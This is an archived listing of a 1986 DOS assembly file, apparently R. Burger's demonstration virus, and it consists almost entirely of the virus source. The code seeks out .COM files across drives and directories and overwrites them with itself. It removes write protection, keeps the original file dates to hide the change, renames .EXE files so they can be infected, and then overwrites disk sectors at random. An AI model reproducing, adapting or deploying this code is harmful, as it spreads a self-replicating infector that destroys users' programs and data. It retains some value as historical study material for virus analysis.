home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 541.ASM < prev    next >
Assembly Source File  |  1991-01-29  |  15KB  |  446 lines

  1.         page 70,120
  2.         Name VIRUS
  3. ;*************************************************************************
  4.  
  5. ;       Program Virus           Ver.:   1.1
  6. ;       Copyright by R. Burger 1986
  7. ;       This is a demonstration program for computer
  8. ;       viruses. It has the ability to replicate itself,
  9. ;       and thereby modify other programs
  10. ;*************************************************************************
  11.  
  12.  
  13.  
  14. Code    Segment
  15.         Assume  CS:Code
  16. progr   equ     100h
  17.         ORG     progr
  18.         
  19. ;*************************************************************************
  20.  
  21. ;       The three NOP's serve as the marker byte of the
  22. ;       virus which will allow it to identify a virus
  23. ;*************************************************************************
  24.  
  25. MAIN:
  26.         nop
  27.         nop
  28.         nop
  29.         
  30. ;*************************************************************************
  31.  
  32. ;       Initialize the pointers
  33. ;*************************************************************************
  34.  
  35.         mov ax,00
  36.         mov es:[pointer],ax
  37.         mov es:[counter],ax
  38.         mov es:[disks],al
  39.         
  40. ;*************************************************************************
  41.  
  42. ;       Get the selected drive
  43. ;*************************************************************************
  44.  
  45.         mov ah,19h              ; drive?
  46.         int 21h
  47.  
  48. ;*************************************************************************
  49.  
  50. ;       Get the current path on the current drive
  51. ;*************************************************************************
  52.  
  53.         mov cs:drive,al         ; save drive
  54.         mov ah,47h              ; dir?
  55.         mov dh,0
  56.         add al,1
  57.         mov dl,al               ; in actual drive
  58.         lea si,cs:old_path
  59.         int 21h
  60.         
  61. ;*************************************************************************
  62.  
  63. ;       Get the number of drives present.
  64. ;       If only one drive is present, the pointer for
  65. ;       search order will be set to search order + 6
  66. ;*************************************************************************
  67.  
  68.         mov ah,0eh              ; how many disks
  69.         mov dl,0                ;
  70.         int 21h
  71.         
  72.         mov al,01
  73.         cmp al,01               ; one drive?
  74.         jnz hups3
  75.         mov al,06
  76.         
  77. hups3:  mov ah,0
  78.         lea bx,search_order
  79.         add bx,ax
  80.         add bx,0001h
  81.         mov cs:pointer,bx
  82.         clc
  83.         
  84. ;*************************************************************************
  85.  
  86. ;       Carry is set, if no more .COM's are found.
  87. ;       Then, to avoid unnecessary work, .EXE files will
  88. ;       be renamed to .COM file and infected. 
  89. ;       This causes the error message "Program too lrage
  90. ;       to fit in memory" when starting larger infected 
  91. ;       EXE programs.
  92. ;*************************************************************************
  93.  
  94. change_disk:
  95.         jnc no_name_change
  96.         mov ah,17h              ; change exe to com
  97.         lea dx,cs:maske_exe
  98.         int 21h
  99.         cmp al,0ffh
  100.         jnz no_name_change      ; .EXE found?
  101.  
  102. ;*************************************************************************
  103.  
  104. ;       If neither .COM nor .EXE is found, then sectors will
  105. ;       be overwritten depending on the system time in
  106. ;       milliseconds. This is the time of the complete
  107. ;       "infection" of a storage medium. The virus can find
  108. ;       nothing more to infect and starts its destruction.
  109. ;*************************************************************************
  110.  
  111.         mov ah,2ch     ; read system clock
  112.         int 21h
  113.         mov bx,cs:pointer
  114.         mov al,cs:[bx]
  115.         mov bx,dx
  116.         mov cx,2
  117.         mov dh,0
  118.         int 26h         ; write crap on disk
  119.         
  120. ;*************************************************************************
  121.  
  122. ;       Check if the end of the search order table has been
  123. ;       reached. If so, end.
  124. ;*************************************************************************
  125.  
  126. no_name_change:
  127.         mov bx,cs:pointer
  128.         dec bx
  129.         mov cs:pointer,bx
  130.         mov dl,cs:[bx]
  131.         cmp dl,0ffh
  132.         jnz hups2
  133.         jmp hops
  134.         
  135. ;*************************************************************************
  136.  
  137. ;       Get new drive from search order table and
  138. ;       select it.
  139. ;*************************************************************************
  140.  
  141. hups2:
  142.         mov ah,0eh
  143.         int 21h         ; change disk
  144.         
  145. ;*************************************************************************
  146.  
  147. ;       Start in the root directory
  148. ;*************************************************************************
  149.  
  150.         mov ah,3bh      ; change path
  151.         lea dx,path
  152.         int 21h
  153.         jmp find_first_file
  154.         
  155. ;*************************************************************************
  156.  
  157. ;       Starting from the root, search for the first subdir
  158. ;       First convert all .EXE files to .COM in the old 
  159. ;       directory.
  160. ;*************************************************************************
  161.  
  162. find_first_subdir:
  163.         mov ah,17h              ; change exe to com
  164.         lea dx,cs:maske_exe
  165.         int 21h
  166.         mov ah,3bh              ; use root dir
  167.         lea dx,path
  168.         int 21h
  169.         mov ah,04eh             ;Search for first subdirectory
  170.         mov cx,00010001b        ; dir mask                        
  171.         lea dx,maske_dir
  172.         int 21h
  173.         jc change_disk
  174.         
  175.         mov bx,CS:counter
  176.         INC BX
  177.         DEC bx
  178.         jz  use_next_subdir
  179.         
  180. ;*************************************************************************
  181.  
  182. ;       Search for the next subdir. If no more directories
  183. ;       are found, the drive will be changed.
  184. ;*************************************************************************
  185.  
  186. find_next_subdir:
  187.         mov ah,4fh      ; search for next subdir
  188.         int 21h
  189.         jc change_disk
  190.         dec bx
  191.         jnz find_next_subdir
  192.         
  193. ;*************************************************************************
  194.  
  195. ;       Select found directory
  196. ;*************************************************************************
  197.  
  198. use_next_subdir:
  199.         mov ah,2fh      ; get dta address
  200.         int 21h
  201.         add bx,1ch
  202.         mov es:[bx],'\ ' ; address of name in dta
  203.         inc bx
  204.         push ds
  205.         mov ax,es
  206.         mov ds,ax
  207.         mov dx,bx
  208.         mov ah,3bh      ; change path
  209.         int 21h
  210.         pop ds
  211.         mov bx,cs:counter
  212.         inc bx
  213.         mov CS:counter,bx
  214.         
  215. ;*************************************************************************
  216.  
  217. ;       Find first .COM file in the current directory.
  218. ;       If there are non, search the next directory.
  219. ;*************************************************************************
  220.  
  221. find_first_file:
  222.         mov ah,04eh     ; Search for first
  223.         mov cx,00000001b ; mask
  224.         lea dx,maske_com        ;
  225.         int 21h
  226.         jc find_first_subdir
  227.         jmp check_if_ill
  228.         
  229. ;*************************************************************************
  230.  
  231. ;       If the program is already infected, search for
  232. ;       the next program.
  233. ;*************************************************************************
  234.  
  235. find_next_file:
  236.         mov ah,4fh      ; search for next
  237.         int 21h
  238.         jc  find_first_subdir
  239.         
  240. ;*************************************************************************
  241.  
  242. ;       Check if already infected by the virus.
  243. ;*************************************************************************
  244.  
  245. check_if_ill:
  246.         mov ah,3dh      ; open channel
  247.         mov al,02h      ; read/write
  248.         mov dx,9eh      ; address of name in dta
  249.         int 21h
  250.         mov bx,ax       ; save channel
  251.         mov ah,3fh      ; read file
  252.         mov cx,buflen   ;
  253.         mov dx,buffer   ; write in buffer
  254.         int 21h
  255.         mov ah,3eh      ; CLODE FILE
  256.         int 21h
  257.         
  258. ;*************************************************************************
  259.  
  260. ;       Here we search for three NOP's.
  261. ;       If present, there is already an infection. We must
  262. ;       then continue the search.
  263. ;*************************************************************************
  264.  
  265.         mov bx,cs:[buffer]
  266.         cmp bx,9090h
  267.         jz find_next_file
  268.         
  269. ;*************************************************************************
  270.  
  271. ;       Bypass MS-DOS write protection if present
  272. ;*************************************************************************
  273.  
  274.         mov ah,43h      ; write enable
  275.         mov al,0
  276.         mov dx,9eh      ; address of name in dta
  277.         int 21h
  278.         mov ah,43h
  279.         mov al,01h
  280.         and cx,11111110b
  281.         int 21h
  282.         
  283. ;*************************************************************************
  284.  
  285. ;       Open file for write access.
  286. ;*************************************************************************
  287.  
  288.         mov ah,3dh      ; open channel
  289.         mov al,02h      ; read/write
  290.         mov dx,9eh      ; address of name in dta
  291.         int 21h
  292.         
  293. ;*************************************************************************
  294.  
  295. ;       Read date entry of program and save for future use.
  296. ;*************************************************************************
  297.  
  298.         mov bx,ax       ; channel
  299.         mov ah,57h      ; get date
  300.         mov al,0
  301.         int 21h
  302.         push cx         ; save date
  303.         push dx
  304.         
  305. ;*************************************************************************
  306.  
  307. ;       The jump located at address 0100h of the program
  308. ;       will be saved for future use.
  309. ;*************************************************************************
  310.  
  311.         mov dx,cs:[conta]       ; save old jmp
  312.         mov cs:[jmpbuf],dx
  313.         mov dx,cs:[buffer+1]    ; save new jump
  314.         lea cx,cont-100h
  315.         sub dx,cx
  316.         mov cs:[conta],dx
  317.         
  318. ;*************************************************************************
  319.  
  320. ;       The virus copies itself to the start of the file
  321. ;*************************************************************************
  322.  
  323.         mov ah,40h      ; write virus
  324.         mov cx,buflen   ; length buffer
  325.         lea dx,main     ; write virus
  326.         int 21h
  327.         
  328. ;*************************************************************************
  329.  
  330. ;       Enter the old creation date of the file.
  331. ;*************************************************************************
  332.  
  333.         mov ah,57h      ; write date
  334.         mov al,1
  335.         pop dx
  336.         pop cx          ; restore date
  337.         int 21h
  338.         
  339. ;*************************************************************************
  340.  
  341. ;       Close the file.
  342. ;*************************************************************************
  343.  
  344.         mov ah,3eh      ; close file
  345.         int 21h
  346.         
  347. ;*************************************************************************
  348.  
  349. ;       restore the old jump address.
  350. ;       The virus saves at address "conta' the jump which
  351. ;       was at the start of the host program.
  352. ;       This is done to preserve the executability of the
  353. ;       host program as much as possible.
  354. ;       After saving itstill works with the jump address
  355. ;       contained in the virus. The jump address in the
  356. ;       virus differs from the jump address in memory
  357. ;
  358. ;*************************************************************************
  359.  
  360.         mov dx,cs:[jmpbuf]      ; restore old jmp
  361.         mov cs:[conta],dx
  362. hops:   nop
  363.         call use_old
  364.         
  365. ;*************************************************************************
  366.  
  367. ;       Continue with the host program.
  368. ;*************************************************************************
  369.  
  370. cont    db 0e9h         ; make jump
  371. conta   dw 0
  372.         mov ah,00
  373.         int 21h
  374.         
  375. ;*************************************************************************
  376.  
  377. ;       reactivate the selected drive at the start of the
  378. ;       program.
  379. ;*************************************************************************
  380.  
  381. use_old:
  382.         mov ah,0eh      ; use old drive
  383.         mov dl,cs:drive
  384.         int 21h
  385.         
  386. ;*************************************************************************
  387.  
  388. ;       Reactivate the selected path at the start of the
  389. ;       program.
  390. ;*************************************************************************
  391.  
  392.         mov ah,3bh      ; use old dir
  393.         lea dx,old_path-1       ; get old path and backslash
  394.         int 21h
  395.         ret
  396.         
  397.  
  398. search_order    db 0ffh,1,0,2,3,0ffh,00,0ffh
  399. pointer         dw 0000         ; pointer f. search order
  400. counter         dw 0000         ; counter f. nth search
  401. disks           db 0            ; number of disks
  402.  
  403.  
  404. maske_com       db "*.com",00   ; search for com files
  405. maske_dir       db "*",00       ; search dir's
  406. maske_exe       db 0ffh,0,0,0,0,0,00111111b
  407.                 db 0,"????????exe",0,0,0,0
  408.                 db 0,"????????com",0
  409. maske_all       db 0ffh,0,0,0,0,0,00111111b
  410.                 db 0,"???????????",0,0,0,0
  411.                 db 0,"????????com",0
  412.                 
  413. buffer equ 0e000h       ; a safe place
  414.  
  415. buflen equ 230h          ; length of virus !!!!!!
  416.                         ;      careful
  417.                         ; if changing !!!!!!
  418.                         
  419. jmpbuf equ buffer+buflen        ; a safe place for jump
  420. path   db  "\",0                ; first path
  421. drive  db  0                    ; actual drive
  422. back_slash db "\"
  423. old_path  db 32 dup(?)          ; old path
  424.  
  425. code    ends
  426.  
  427. end main
  428.  
  429. ;*************************************************************************
  430. ;       WHAT THE PROGRAM DOES:
  431. ;
  432. ;        When the program is started, the first COM file in the root
  433. ;        directory is infected. You can't see any changes to the 
  434. ;        directory entries. But if you look at the hex dump of an
  435. ;        infected program, you can see the marker, which in this case 
  436. ;        consists of three NOP's (hex 90). WHen the infected program 
  437. ;        is started, the virus will first replicate itself, and then
  438. ;        try to run the host program. It may run or it may not, but 
  439. ;        it will infect another program. This continues until all
  440. ;        the COM files are infected. The next time it is run, all
  441. ;        of the EXE files are changed to COM files so that they can
  442. ;        be infected. In addition, the manipulation task of the virus
  443. ;        begins, which consists of the random destruction of disk
  444. ;        sectors.                        
  445. ;*************************************************************************
  446.